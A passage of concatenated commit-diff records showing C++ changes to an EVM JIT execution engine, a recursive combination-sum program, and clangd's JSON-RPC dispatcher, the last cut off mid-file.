TODO: Finalization not needed when llvm::ExecutionEngine::getFunctionAddress used\n\t\/\/auto finalizationStartTime = std::chrono::high_resolution_clock::now();\n\t\/\/exec.engine->finalizeObject();\n\t\/\/auto finalizationEndTime = std::chrono::high_resolution_clock::now();\n\t\/\/clog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(finalizationEndTime - finalizationStartTime).count();\n\n\tauto executionStartTime = std::chrono::high_resolution_clock::now();\n\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\t\/\/auto& cachedExec = Cache::registerExec(key, std::move(exec));\n\tRuntime runtime(_data, _env);\n\tauto mainFunc = (EntryFuncPtr)ee->getFunctionAddress(mainFuncName);\n\tauto returnCode = runEntryFunc(mainFunc, &runtime);\n\tif (returnCode == ReturnCode::Return)\n\t\tthis->returnData = runtime.getReturnData();\n\n\tauto executionEndTime = std::chrono::high_resolution_clock::now();\n\tclog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(executionEndTime - executionStartTime).count() << \" ms \";\n\t\/\/clog(JIT) << \"Max stack size: \" << Stack::maxStackSize;\n\n\tclog(JIT) << \"\\n\";\n\n\treturn returnCode;\n}\n\n\n}\n}\n}\n<commit_msg>Clean up ExecutionEngine<commit_after>#include \"ExecutionEngine.h\"\n\n#include <chrono>\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\n#include <llvm\/IR\/LLVMContext.h>\n#include <llvm\/IR\/Module.h>\n#include <llvm\/ADT\/Triple.h>\n#include <llvm\/ExecutionEngine\/ExecutionEngine.h>\n#include <llvm\/ExecutionEngine\/SectionMemoryManager.h>\n#include <llvm\/ExecutionEngine\/GenericValue.h>\n#include <llvm\/ExecutionEngine\/MCJIT.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/Signals.h>\n#include <llvm\/Support\/PrettyStackTrace.h>\n#include <llvm\/Support\/Host.h>\n\n#pragma GCC diagnostic pop\n\n#include \"Runtime.h\"\n#include \"Memory.h\"\n#include \"Stack.h\"\n#include \"Type.h\"\n#include \"Compiler.h\"\n#include \"Cache.h\"\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nReturnCode ExecutionEngine::run(bytes const& _code, RuntimeData* _data, Env* _env)\n{\n\tauto module = Compiler({}).compile(_code);\n\t\/\/module->dump();\n\treturn run(std::move(module), _data, _env, _code);\n}\n\nnamespace\n{\n\ntypedef ReturnCode(*EntryFuncPtr)(Runtime*);\n\nReturnCode runEntryFunc(EntryFuncPtr _mainFunc, Runtime* _runtime)\n{\n\t\/\/ That function uses long jumps to handle \"execeptions\".\n\t\/\/ Do not create any non-POD objects here\n\n\tReturnCode returnCode{};\n\tauto sj = setjmp(_runtime->getJmpBuf());\n\tif (sj == 0)\n\t\treturnCode = _mainFunc(_runtime);\n\telse\n\t\treturnCode = static_cast<ReturnCode>(sj);\n\n\treturn returnCode;\n}\n\n}\n\nReturnCode ExecutionEngine::run(std::unique_ptr<llvm::Module> _module, RuntimeData* _data, Env* _env, bytes const& _code)\n{\n\t\/\/ TODO: Use it in evmcc\n\t\/\/llvm::sys::PrintStackTraceOnErrorSignal();\n\t\/\/static const auto program = \"EVM JIT\";\n\t\/\/llvm::PrettyStackTraceProgram X(1, &program);\n\n\tstatic std::unique_ptr<llvm::ExecutionEngine> ee; \/\/ TODO: Use Managed Objects from LLVM?\n\n\tEntryFuncPtr entryFuncPtr{};\n\n\n\n\tRuntime runtime(_data, _env);\n\n\tauto&& mainFuncName = _module->getModuleIdentifier();\n\n\tif (!ee)\n\t{\n\t\tllvm::InitializeNativeTarget();\n\t\tllvm::InitializeNativeTargetAsmPrinter();\n\n\t\tllvm::EngineBuilder builder(_module.get());\n\t\tbuilder.setEngineKind(llvm::EngineKind::JIT);\n\t\tbuilder.setUseMCJIT(true);\n\t\tstd::unique_ptr<llvm::SectionMemoryManager> memoryManager(new llvm::SectionMemoryManager);\n\t\tbuilder.setMCJITMemoryManager(memoryManager.get());\n\t\tbuilder.setOptLevel(llvm::CodeGenOpt::None);\n\n\t\tauto triple = llvm::Triple(llvm::sys::getProcessTriple());\n\t\tif (triple.getOS() == llvm::Triple::OSType::Win32)\n\t\t\ttriple.setObjectFormat(llvm::Triple::ObjectFormatType::ELF); \/\/ MCJIT does not support COFF format\n\t\t_module->setTargetTriple(triple.str());\n\n\t\tee.reset(builder.create());\n\t\tif (!ee)\n\t\t\treturn ReturnCode::LLVMConfigError;\n\n\t\t_module.release(); \/\/ Successfully created llvm::ExecutionEngine takes ownership of the module\n\t\tmemoryManager.release(); \/\/ and memory manager\n\n\t\t\/\/ee->setObjectCache(Cache::getObjectCache());\n\t\tentryFuncPtr = (EntryFuncPtr)ee->getFunctionAddress(mainFuncName);\n\t}\n\telse\n\t{\n\t\tentryFuncPtr = (EntryFuncPtr)ee->getFunctionAddress(mainFuncName);\n\t\tif (!entryFuncPtr)\n\t\t{\n\t\t\tee->addModule(_module.get());\n\t\t\t_module.release();\n\t\t\tentryFuncPtr = (EntryFuncPtr)ee->getFunctionAddress(mainFuncName);\n\t\t}\n\t}\n\tassert(entryFuncPtr);\n\n\n\tauto executionStartTime = std::chrono::high_resolution_clock::now();\n\t\/\/auto mainFunc = (EntryFuncPtr)ee->getFunctionAddress(mainFuncName);\n\tauto returnCode = runEntryFunc(entryFuncPtr, &runtime);\n\tif (returnCode == ReturnCode::Return)\n\t\tthis->returnData = runtime.getReturnData();\n\n\tauto executionEndTime = std::chrono::high_resolution_clock::now();\n\tclog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(executionEndTime - executionStartTime).count() << \" ms \";\n\n\tclog(JIT) << \"\\n\";\n\n\treturn returnCode;\n}\n\n\n}\n}\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n#include <sstream>\n#include <algorithm>\n#include <functional>\n#include <unordered_map>\n\n\/\/ Compare two lists to see if they're the same group; in most\n\/\/ circumstances we should check for the equality of their sizes\n\/\/ and early out with a false return if they weren't equal;\n\/\/ however, this function is only called if the lists\n\/\/ to be compared are equal to the prerequisite size anyway.\n\/\/ It's provided for completeness and flexibility for other use-cases\n\n\n\/*\n * as it turns out, this function isn't necessary because the nature of the combinations algorithm\n prevents this via sequentially chopping off every member\n from the given numbers list\n * it's here for documentation purposes.\n *\nstatic bool isSameUnordered(const std::vector<int>& a, const std::vector<int>& b) {\n\tstd::unordered_map<int, int> m;\n\n\tif (a.size() != b.size())\n\t\treturn false;\n\n\t\/\/ if m[x] does not exist yet,\n\t\/\/ the increment will first initialize it to 0\n\t\/\/ and then add 1 accordingly;\n\t\/\/ i.e., if m[x] does not exist,\n\t\/\/ even simply reading its value\n\t\/\/ will cause it to be zero-initialized\n\t\/\/ (on GCC)\n\tfor (int x: a)\n\t\tm[x]++;\n\n\tfor (int x: b) {\n\t\tif (m[x] == 0)\n\t\t\treturn false;\n\t\tm[x]++;\n\t}\n\n\treturn true;\n}\n*\/\n\n\n\/\/ This is a recursive function designed to find\n\/\/ all possible sum combinations for a given list of numbers.\n\n\/\/ For a particular size of numbers of k, and a tuple of\n\/\/ distinct integers t (which is always required and given size k),\n\/\/ if the sum of t is equivalent to the target sum s,\n\/\/ we have a winning value. Correspondingly, we print this winning value\n\/\/ ( in addition to its sequence ) into an output file corresponding\n\/\/ to the input file the sum value stems from.\n\n\/\/ The running time of this function n and k is the following combination formula (where order doesn't matter):\n\/\/ O(n! \/ k!(n - k)!) or O(nCk)\n\n\/\/ The implementation of this function was originally in Python,\n\/\/ and can be found here: http:\/\/stackoverflow.com\/a\/4633515\nstatic void sum(std::ofstream& stream,\n\t\t\t\tconst int targetSum,\n\t\t\t\tconst int targetAmount,\n\t\t\t\tconst std::vector<int>& numbers,\n\t\t\t\tconst std::vector<int>& partial = std::vector<int>()) {\n\n\t\/\/ Potentially skip iteration over winningTuples\n\tif (partial.size() == (uint32_t) targetAmount)\n\t{\n\t\t\/\/ Compute the sum for this current group\n\t\tint s = 0;\n\t\tstd::for_each(partial.begin(), partial.cend(), [&s](const int& x) -> void {\n\t\t\ts += x;\n\t\t});\n\n\t\t\/\/ If we're valid, provide an output which shows the expression\n\t\tif (s == targetSum) {\n\t\t\tstd::stringstream ss;\n\n\t\t\tsize_t c = 0;\n\n\t\t\tfor (int i: partial) {\n\t\t\t\tss << i;\n\n\t\t\t\tif (++c != partial.size())\n\t\t\t\t\tss << \" + \";\n\t\t\t}\n\t\t\tss << \" = \" << targetSum << \"\\n\";\n\t\t\tstream << ss.str();\n\n\t\t\twinningTuples.push_back(partial);\n\t\t}\n\n\t\t\/\/ There is no point in continuing if either of these are true,\n\t\t\/\/ since we'll only be increasing the value\/partial size if\n\t\t\/\/ recurse down the tree further.\n\t\tif (s >= targetSum)\n\t\t\treturn;\n\t}\n\n\t\/\/ Same principle with the sum check in the above block^^^\n\tif (partial.size() >= (size_t)targetAmount)\n\t\treturn;\n\n\t\/\/ For us to evaluate all possible combinations (up to the desired target amount)\n\t\/\/ we develop a chain of values for every single value\n\t\/\/ which individually inspects it self with every other possible\n\t\/\/ sum in every list\n\n\t\/\/ Each iteration successively creates a new variant of the given partial list,\n\t\/\/ by taking the value in numbers corresponding to the current iteration,\n\t\/\/ chopping off every value up to (inclusive) that iteration from the numbers list\n\t\/\/ and creating a copy of that list with which we can use to evaluate within the next depth.\n\n\t\/\/ So, if I have abcdefg numbers, all of the partial combinations for first level will be:\n\t\/\/ ab, ac, ad, ae, af, ag\n\n\t\/\/ And in the next level:\n\t\/\/ abc, abd, abe, abf, abg;\n\t\/\/ acd, ace, acf, acg;\n\t\/\/ ade, adf, adg;\n\t\/\/ aef, aeg;\n\t\/\/ afg\n\n\t\/\/ (and so on and so forth)\n\tfor (auto i = numbers.begin(); i != numbers.end(); ++i) {\n\t\tint x = *i;\n\n\t\tstd::vector<int> remaining;\n\t\tint index = std::distance(numbers.begin(), i);\n\t\tremaining.reserve(numbers.size() - index);\n\n\t\tfor (auto j = i + 1; j != numbers.end(); ++j)\n\t\t\tremaining.push_back(*j);\n\n\t\tstd::vector<int> newPartial(partial.begin(), partial.end());\n\t\tnewPartial.push_back(x);\n\n\t\tsum(stream, targetSum, targetAmount, remaining, newPartial);\n\t}\n}\n\nstatic bool parseInput(const std::string& inputPath, const std::string& outputPath) {\n\tstd::ifstream f;\n\tf.open(inputPath);\n\n\tstd::ofstream output;\n\toutput.open(outputPath);\n\n\tint targetSum = 0;\n\tint targetAmount = 0;\n\n\tstd::vector<int> numbers;\n\n\tif (f.is_open()) {\n\t\t\/\/ Get the current line,\n\t\t\/\/ evaluate its function accordingly,\n\t\t\/\/ depending on the current line number\n\t\tstd::string line;\n\t\tint lineNum = 0;\n\n\t\twhile (std::getline(f, line)) {\n\t\t\tstd::istringstream toInteger(line);\n\t\t\tswitch (lineNum) {\n\t\t\t\tcase 1: toInteger >> targetSum; break;\n\t\t\t\tcase 0: toInteger >> targetAmount; break;\n\t\t\t\tdefault: {\n\t\t\t\t\tint value;\n\t\t\t\t\ttoInteger >> value;\n\t\t\t\t\tnumbers.push_back(value);\n\t\t\t\t} break;\n\t\t\t}\n\n\t\t\tlineNum++;\n\t\t}\n\n\t\t\/\/ Compute the sum.\n\t\toutput << \"BEGIN \" << inputPath << \"\\n\\n\";\n\t\toutput << \"number count: \" << numbers.size() << \"\\n\";\n\t\toutput << \"target amount: \" << targetAmount << \"\\n\";\n\t\toutput << \"target sum: \" << targetSum << \"\\n\";\n\n\t\tsum(output, targetSum, targetAmount, numbers);\n\n\t\toutput << \"END input\\n\\n\";\n\n\t\toutput.close();\n\n\t\twinningTuples.clear();\n\n\t} else {\n\t\tstd::cout << \"Failure\" << std::endl;\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nint main()\n{\n\t\/\/ Must <= the amount of test files generated via input_gen.py\n\tint numTests = 3;\n\n\tfor (int i = 0; i < numTests; ++i) {\n\t\tstd::string inpath(\"input\" + std::to_string(i) + \".txt\");\n\t\tif (!parseInput(inpath, \"result_input\" + std::to_string(i) + \".txt\")) {\n\t\t\tstd::cout << \"Could not read file \\\"\" << inpath << '\\\"' << std::endl;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n<commit_msg>Update main.cpp<commit_after>#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n#include <sstream>\n#include <algorithm>\n#include <functional>\n#include <unordered_map>\n\n\/\/ Compare two lists to see if they're the same group; in most\n\/\/ circumstances we should check for the equality of their sizes\n\/\/ and early out with a false return if they weren't equal;\n\/\/ however, this function is only called if the lists\n\/\/ to be compared are equal to the prerequisite size anyway.\n\/\/ It's provided for completeness and flexibility for other use-cases\n\n\n\/*\n * as it turns out, this function isn't necessary because the nature of the combinations algorithm\n prevents this via sequentially chopping off every member\n from the given numbers list\n * it's here for documentation purposes.\n *\nstatic bool isSameUnordered(const std::vector<int>& a, const std::vector<int>& b) {\n\tstd::unordered_map<int, int> m;\n\n\tif (a.size() != b.size())\n\t\treturn false;\n\n\t\/\/ if m[x] does not exist yet,\n\t\/\/ the increment will first initialize it to 0\n\t\/\/ and then add 1 accordingly;\n\t\/\/ i.e., if m[x] does not exist,\n\t\/\/ even simply reading its value\n\t\/\/ will cause it to be zero-initialized\n\t\/\/ (on GCC)\n\tfor (int x: a)\n\t\tm[x]++;\n\n\tfor (int x: b) {\n\t\tif (m[x] == 0)\n\t\t\treturn false;\n\t\tm[x]++;\n\t}\n\n\treturn true;\n}\n*\/\n\n\n\/\/ This is a recursive function designed to find\n\/\/ all possible sum combinations for a given list of numbers.\n\n\/\/ For a particular size of numbers of k, and a tuple of\n\/\/ distinct integers t (which is always required and given size k),\n\/\/ if the sum of t is equivalent to the target sum s,\n\/\/ we have a winning value. Correspondingly, we print this winning value\n\/\/ ( in addition to its sequence ) into an output file corresponding\n\/\/ to the input file the sum value stems from.\n\n\/\/ The running time of this function n and k is the following combination formula (where order doesn't matter):\n\/\/ O(n! \/ k!(n - k)!) or O(nCk)\n\n\/\/ The implementation of this function was originally in Python,\n\/\/ and can be found here: http:\/\/stackoverflow.com\/a\/4633515\nstatic void sum(std::ofstream& stream,\n\t\t\t\tconst int targetSum,\n\t\t\t\tconst int targetAmount,\n\t\t\t\tconst std::vector<int>& numbers,\n\t\t\t\tconst std::vector<int>& partial = std::vector<int>()) {\n\n\tif (partial.size() == (uint32_t) targetAmount)\n\t{\n\t\t\/\/ Compute the sum for this current group\n\t\tint s = 0;\n\t\tstd::for_each(partial.begin(), partial.cend(), [&s](const int& x) -> void {\n\t\t\ts += x;\n\t\t});\n\n\t\t\/\/ If we're valid, provide an output which shows the expression\n\t\tif (s == targetSum) {\n\t\t\tstd::stringstream ss;\n\n\t\t\tsize_t c = 0;\n\n\t\t\tfor (int i: partial) {\n\t\t\t\tss << i;\n\n\t\t\t\tif (++c != partial.size())\n\t\t\t\t\tss << \" + \";\n\t\t\t}\n\t\t\tss << \" = \" << targetSum << \"\\n\";\n\t\t\tstream << ss.str();\n\n\t\t\twinningTuples.push_back(partial);\n\t\t}\n\n\t\t\/\/ There is no point in continuing if either of these are true,\n\t\t\/\/ since we'll only be increasing the value\/partial size if\n\t\t\/\/ recurse down the tree further.\n\t\tif (s >= targetSum)\n\t\t\treturn;\n\t}\n\n\t\/\/ Same principle with the sum check in the above block^^^\n\tif (partial.size() >= (size_t)targetAmount)\n\t\treturn;\n\n\t\/\/ For us to evaluate all possible combinations (up to the desired target amount)\n\t\/\/ we develop a chain of values for every single value\n\t\/\/ which individually inspects it self with every other possible\n\t\/\/ sum in every list\n\n\t\/\/ Each iteration successively creates a new variant of the given partial list,\n\t\/\/ by taking the value in numbers corresponding to the current iteration,\n\t\/\/ chopping off every value up to (inclusive) that iteration from the numbers list\n\t\/\/ and creating a copy of that list with which we can use to evaluate within the next depth.\n\n\t\/\/ So, if I have abcdefg numbers, all of the partial combinations for first level will be:\n\t\/\/ ab, ac, ad, ae, af, ag\n\n\t\/\/ And in the next level:\n\t\/\/ abc, abd, abe, abf, abg;\n\t\/\/ acd, ace, acf, acg;\n\t\/\/ ade, adf, adg;\n\t\/\/ aef, aeg;\n\t\/\/ afg\n\n\t\/\/ (and so on and so forth)\n\tfor (auto i = numbers.begin(); i != numbers.end(); ++i) {\n\t\tint x = *i;\n\n\t\tstd::vector<int> remaining;\n\t\tint index = std::distance(numbers.begin(), i);\n\t\tremaining.reserve(numbers.size() - index);\n\n\t\tfor (auto j = i + 1; j != numbers.end(); ++j)\n\t\t\tremaining.push_back(*j);\n\n\t\tstd::vector<int> newPartial(partial.begin(), partial.end());\n\t\tnewPartial.push_back(x);\n\n\t\tsum(stream, targetSum, targetAmount, remaining, newPartial);\n\t}\n}\n\nstatic bool parseInput(const std::string& inputPath, const std::string& outputPath) {\n\tstd::ifstream f;\n\tf.open(inputPath);\n\n\tstd::ofstream output;\n\toutput.open(outputPath);\n\n\tint targetSum = 0;\n\tint targetAmount = 0;\n\n\tstd::vector<int> numbers;\n\n\tif (f.is_open()) {\n\t\t\/\/ Get the current line,\n\t\t\/\/ evaluate its function accordingly,\n\t\t\/\/ depending on the current line number\n\t\tstd::string line;\n\t\tint lineNum = 0;\n\n\t\twhile (std::getline(f, line)) {\n\t\t\tstd::istringstream toInteger(line);\n\t\t\tswitch (lineNum) {\n\t\t\t\tcase 1: toInteger >> targetSum; break;\n\t\t\t\tcase 0: toInteger >> targetAmount; break;\n\t\t\t\tdefault: {\n\t\t\t\t\tint value;\n\t\t\t\t\ttoInteger >> value;\n\t\t\t\t\tnumbers.push_back(value);\n\t\t\t\t} break;\n\t\t\t}\n\n\t\t\tlineNum++;\n\t\t}\n\n\t\t\/\/ Compute the sum.\n\t\toutput << \"BEGIN \" << inputPath << \"\\n\\n\";\n\t\toutput << \"number count: \" << numbers.size() << \"\\n\";\n\t\toutput << \"target amount: \" << targetAmount << \"\\n\";\n\t\toutput << \"target sum: \" << targetSum << \"\\n\";\n\n\t\tsum(output, targetSum, targetAmount, numbers);\n\n\t\toutput << \"END input\\n\\n\";\n\n\t\toutput.close();\n\n\t\twinningTuples.clear();\n\n\t} else {\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nint main()\n{\n\t\/\/ Must be <= the amount of test files generated via input_gen.py\n\tint numTests = 3;\n\n\tfor (int i = 0; i < numTests; ++i) {\n\t\tstd::string inpath(\"input\" + std::to_string(i) + \".txt\");\n\t\tif (!parseInput(inpath, \"result_input\" + std::to_string(i) + \".txt\")) {\n\t\t\tstd::cout << \"Could not read file \\\"\" << inpath << '\\\"' << std::endl;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- JSONRPCDispatcher.cpp - Main JSON parser entry point -------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"JSONRPCDispatcher.h\"\n#include \"ProtocolHandlers.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/YAMLParser.h\"\n#include <istream>\n\nusing namespace clang;\nusing namespace clangd;\n\nvoid JSONOutput::writeMessage(const Twine &Message) {\n llvm::SmallString<128> Storage;\n StringRef M = Message.toStringRef(Storage);\n\n std::lock_guard<std::mutex> Guard(StreamMutex);\n \/\/ Log without headers.\n Logs << \"--> \" << M << '\\n';\n Logs.flush();\n\n \/\/ Emit message with header.\n Outs << \"Content-Length: \" << M.size() << \"\\r\\n\\r\\n\" << M;\n Outs.flush();\n}\n\nvoid JSONOutput::log(const Twine &Message) {\n std::lock_guard<std::mutex> Guard(StreamMutex);\n Logs << Message;\n Logs.flush();\n}\n\nvoid JSONOutput::mirrorInput(const Twine &Message) {\n if (!InputMirror)\n return;\n\n *InputMirror << Message;\n InputMirror->flush();\n}\n\nvoid RequestContext::reply(const llvm::Twine &Result) {\n if (ID.empty()) {\n Out.log(\"Attempted to reply to a notification!\\n\");\n return;\n }\n Out.writeMessage(llvm::Twine(R\"({\"jsonrpc\":\"2.0\",\"id\":)\") + ID +\n R\"(,\"result\":)\" + Result + \"}\");\n}\n\nvoid RequestContext::replyError(int code, const llvm::StringRef &Message) {\n Out.log(\"Error \" + llvm::Twine(code) + \": \" + Message + \"\\n\");\n if (!ID.empty()) {\n Out.writeMessage(llvm::Twine(R\"({\"jsonrpc\":\"2.0\",\"id\":)\") + ID +\n R\"(,\"error\":{\"code\":)\" + llvm::Twine(code) +\n R\"(,\"message\":\")\" + llvm::yaml::escape(Message) +\n R\"(\"}})\");\n }\n}\n\nvoid JSONRPCDispatcher::registerHandler(StringRef Method, Handler H) {\n assert(!Handlers.count(Method) && \"Handler already registered!\");\n Handlers[Method] = std::move(H);\n}\n\nstatic void\ncallHandler(const llvm::StringMap<JSONRPCDispatcher::Handler> &Handlers,\n llvm::yaml::ScalarNode *Method, llvm::yaml::ScalarNode *Id,\n llvm::yaml::MappingNode *Params,\n const JSONRPCDispatcher::Handler &UnknownHandler, JSONOutput &Out) {\n llvm::SmallString<64> MethodStorage;\n auto I = Handlers.find(Method->getValue(MethodStorage));\n auto &Handler = I != Handlers.end() ? I->second : UnknownHandler;\n Handler(RequestContext(Out, Id ? Id->getRawValue() : \"\"), Params);\n}\n\nbool JSONRPCDispatcher::call(StringRef Content, JSONOutput &Out) const {\n llvm::SourceMgr SM;\n llvm::yaml::Stream YAMLStream(Content, SM);\n\n auto Doc = YAMLStream.begin();\n if (Doc == YAMLStream.end())\n return false;\n\n auto *Root = Doc->getRoot();\n if (!Root)\n return false;\n\n auto *Object = dyn_cast<llvm::yaml::MappingNode>(Root);\n if (!Object)\n return false;\n\n llvm::yaml::ScalarNode *Version = nullptr;\n llvm::yaml::ScalarNode *Method = nullptr;\n llvm::yaml::MappingNode *Params = nullptr;\n llvm::yaml::ScalarNode *Id = nullptr;\n for (auto &NextKeyValue : *Object) {\n auto *KeyString = dyn_cast<llvm::yaml::ScalarNode>(NextKeyValue.getKey());\n if (!KeyString)\n return false;\n\n llvm::SmallString<10> KeyStorage;\n StringRef KeyValue = KeyString->getValue(KeyStorage);\n llvm::yaml::Node *Value = NextKeyValue.getValue();\n if (!Value)\n return false;\n\n if (KeyValue == \"jsonrpc\") {\n \/\/ This should be \"2.0\". Always.\n Version = dyn_cast<llvm::yaml::ScalarNode>(Value);\n if (!Version || Version->getRawValue() != \"\\\"2.0\\\"\")\n return false;\n } else if (KeyValue == \"method\") {\n Method = dyn_cast<llvm::yaml::ScalarNode>(Value);\n } else if (KeyValue == \"id\") {\n Id = dyn_cast<llvm::yaml::ScalarNode>(Value);\n } else if (KeyValue == \"params\") {\n if (!Method)\n return false;\n \/\/ We have to interleave the call of the function here, otherwise the\n \/\/ YAMLParser will die because it can't go backwards. This is unfortunate\n \/\/ because it will break clients that put the id after params. A possible\n \/\/ fix would be to split the parsing and execution phases.\n Params = dyn_cast<llvm::yaml::MappingNode>(Value);\n callHandler(Handlers, Method, Id, Params, UnknownHandler, Out);\n return true;\n } else {\n return false;\n }\n }\n\n \/\/ In case there was a request with no params, call the handler on the\n \/\/ leftovers.\n if (!Method)\n return false;\n callHandler(Handlers, Method, Id, nullptr, UnknownHandler, Out);\n\n return true;\n}\n\nvoid clangd::runLanguageServerLoop(std::istream &In, JSONOutput &Out,\n JSONRPCDispatcher &Dispatcher,\n bool &IsDone) {\n while (In.good()) {\n \/\/ A Language Server Protocol message starts with a set of HTTP headers,\n \/\/ delimited by \\r\\n, and terminated by an empty line (\\r\\n).\n unsigned long long ContentLength = 0;\n while (In.good()) {\n std::string Line;\n std::getline(In, Line);\n if (!In.good() && errno == EINTR) {\n In.clear();\n continue;\n }\n\n Out.mirrorInput(Line);\n \/\/ Mirror '\\n' that gets consumed by std::getline, but is not included in\n \/\/ the resulting Line.\n \/\/ Note that '\\r' is part of Line, so we don't need to mirror it\n \/\/ separately.\n if (!In.eof())\n Out.mirrorInput(\"\\n\");\n\n llvm::StringRef LineRef(Line);\n\n \/\/ We allow YAML-style comments in headers. Technically this isn't part\n \/\/ of the LSP specification, but makes writing tests easier.\n if (LineRef.startswith(\"#\"))\n continue;\n\n \/\/ Content-Type is a specified header, but does nothing.\n \/\/ Content-Length is a mandatory header. It specifies the length of the\n \/\/ following JSON.\n \/\/ It is unspecified what sequence headers must be supplied in, so we\n \/\/ allow any sequence.\n \/\/ The end of headers is signified by an empty line.\n if (LineRef.consume_front(\"Content-Length: \")) {\n if (ContentLength != 0) {\n Out.log(\"Warning: Duplicate Content-Length header received. \"\n \"The previous value for this message (\" +\n std::to_string(ContentLength) + \") was ignored.\\n\");\n }\n\n llvm::getAsUnsignedInteger(LineRef.trim(), 0, ContentLength);\n continue;\n } else if (!LineRef.trim().empty()) {\n \/\/ It's another header, ignore it.\n continue;\n } else {\n \/\/ An empty line indicates the end of headers.\n \/\/ Go ahead and read the JSON.\n break;\n }\n }\n\n if (ContentLength > 0) {\n \/\/ Now read the JSON. Insert a trailing null byte as required by the YAML\n \/\/ parser.\n std::vector<char> JSON(ContentLength + 1, '\\0');\n In.read(JSON.data(), ContentLength);\n Out.mirrorInput(StringRef(JSON.data(), In.gcount()));\n\n \/\/ If the stream is aborted before we read ContentLength bytes, In\n \/\/ will have eofbit and failbit set.\n if (!In) {\n Out.log(\"Input was aborted. Read only \" + std::to_string(In.gcount()) +\n \" bytes of expected \" + std::to_string(ContentLength) + \".\\n\");\n break;\n }\n\n llvm::StringRef JSONRef(JSON.data(), ContentLength);\n \/\/ Log the message.\n Out.log(\"<-- \" + JSONRef + \"\\n\");\n\n \/\/ Finally, execute the action for this JSON message.\n if (!Dispatcher.call(JSONRef, Out))\n Out.log(\"JSON dispatch failed!\\n\");\n\n \/\/ If we're done, exit the loop.\n if (IsDone)\n break;\n } else {\n Out.log(\"Warning: Missing Content-Length header, or message has zero \"\n \"length.\\n\");\n }\n }\n}\n<commit_msg>[clangd] Harden clangd a bit against garbage input.<commit_after>\/\/===--- JSONRPCDispatcher.cpp - Main JSON parser entry point -------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"JSONRPCDispatcher.h\"\n#include \"ProtocolHandlers.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/YAMLParser.h\"\n#include <istream>\n\nusing namespace clang;\nusing namespace clangd;\n\nvoid JSONOutput::writeMessage(const Twine &Message) {\n llvm::SmallString<128> Storage;\n StringRef M = Message.toStringRef(Storage);\n\n std::lock_guard<std::mutex> Guard(StreamMutex);\n \/\/ Log without headers.\n Logs << \"--> \" << M << '\\n';\n Logs.flush();\n\n \/\/ Emit message with header.\n Outs << \"Content-Length: \" << M.size() << \"\\r\\n\\r\\n\" << M;\n Outs.flush();\n}\n\nvoid JSONOutput::log(const Twine &Message) {\n std::lock_guard<std::mutex> Guard(StreamMutex);\n Logs << Message;\n Logs.flush();\n}\n\nvoid JSONOutput::mirrorInput(const Twine &Message) {\n if (!InputMirror)\n return;\n\n *InputMirror << Message;\n InputMirror->flush();\n}\n\nvoid RequestContext::reply(const llvm::Twine &Result) {\n if (ID.empty()) {\n Out.log(\"Attempted to reply to a notification!\\n\");\n return;\n }\n Out.writeMessage(llvm::Twine(R\"({\"jsonrpc\":\"2.0\",\"id\":)\") + ID +\n R\"(,\"result\":)\" + Result + \"}\");\n}\n\nvoid RequestContext::replyError(int code, const llvm::StringRef &Message) {\n Out.log(\"Error \" + llvm::Twine(code) + \": \" + Message + \"\\n\");\n if (!ID.empty()) {\n Out.writeMessage(llvm::Twine(R\"({\"jsonrpc\":\"2.0\",\"id\":)\") + ID +\n R\"(,\"error\":{\"code\":)\" + llvm::Twine(code) +\n R\"(,\"message\":\")\" + llvm::yaml::escape(Message) +\n R\"(\"}})\");\n }\n}\n\nvoid JSONRPCDispatcher::registerHandler(StringRef Method, Handler H) {\n assert(!Handlers.count(Method) && \"Handler already registered!\");\n Handlers[Method] = std::move(H);\n}\n\nstatic void\ncallHandler(const llvm::StringMap<JSONRPCDispatcher::Handler> &Handlers,\n llvm::yaml::ScalarNode *Method, llvm::yaml::ScalarNode *Id,\n llvm::yaml::MappingNode *Params,\n const JSONRPCDispatcher::Handler &UnknownHandler, JSONOutput &Out) {\n llvm::SmallString<64> MethodStorage;\n auto I = Handlers.find(Method->getValue(MethodStorage));\n auto &Handler = I != Handlers.end() ? I->second : UnknownHandler;\n Handler(RequestContext(Out, Id ? Id->getRawValue() : \"\"), Params);\n}\n\nbool JSONRPCDispatcher::call(StringRef Content, JSONOutput &Out) const {\n llvm::SourceMgr SM;\n llvm::yaml::Stream YAMLStream(Content, SM);\n\n auto Doc = YAMLStream.begin();\n if (Doc == YAMLStream.end())\n return false;\n\n auto *Object = dyn_cast_or_null<llvm::yaml::MappingNode>(Doc->getRoot());\n if (!Object)\n return false;\n\n llvm::yaml::ScalarNode *Version = nullptr;\n llvm::yaml::ScalarNode *Method = nullptr;\n llvm::yaml::MappingNode *Params = nullptr;\n llvm::yaml::ScalarNode *Id = nullptr;\n for (auto &NextKeyValue : *Object) {\n auto *KeyString =\n dyn_cast_or_null<llvm::yaml::ScalarNode>(NextKeyValue.getKey());\n if (!KeyString)\n return false;\n\n llvm::SmallString<10> KeyStorage;\n StringRef KeyValue = 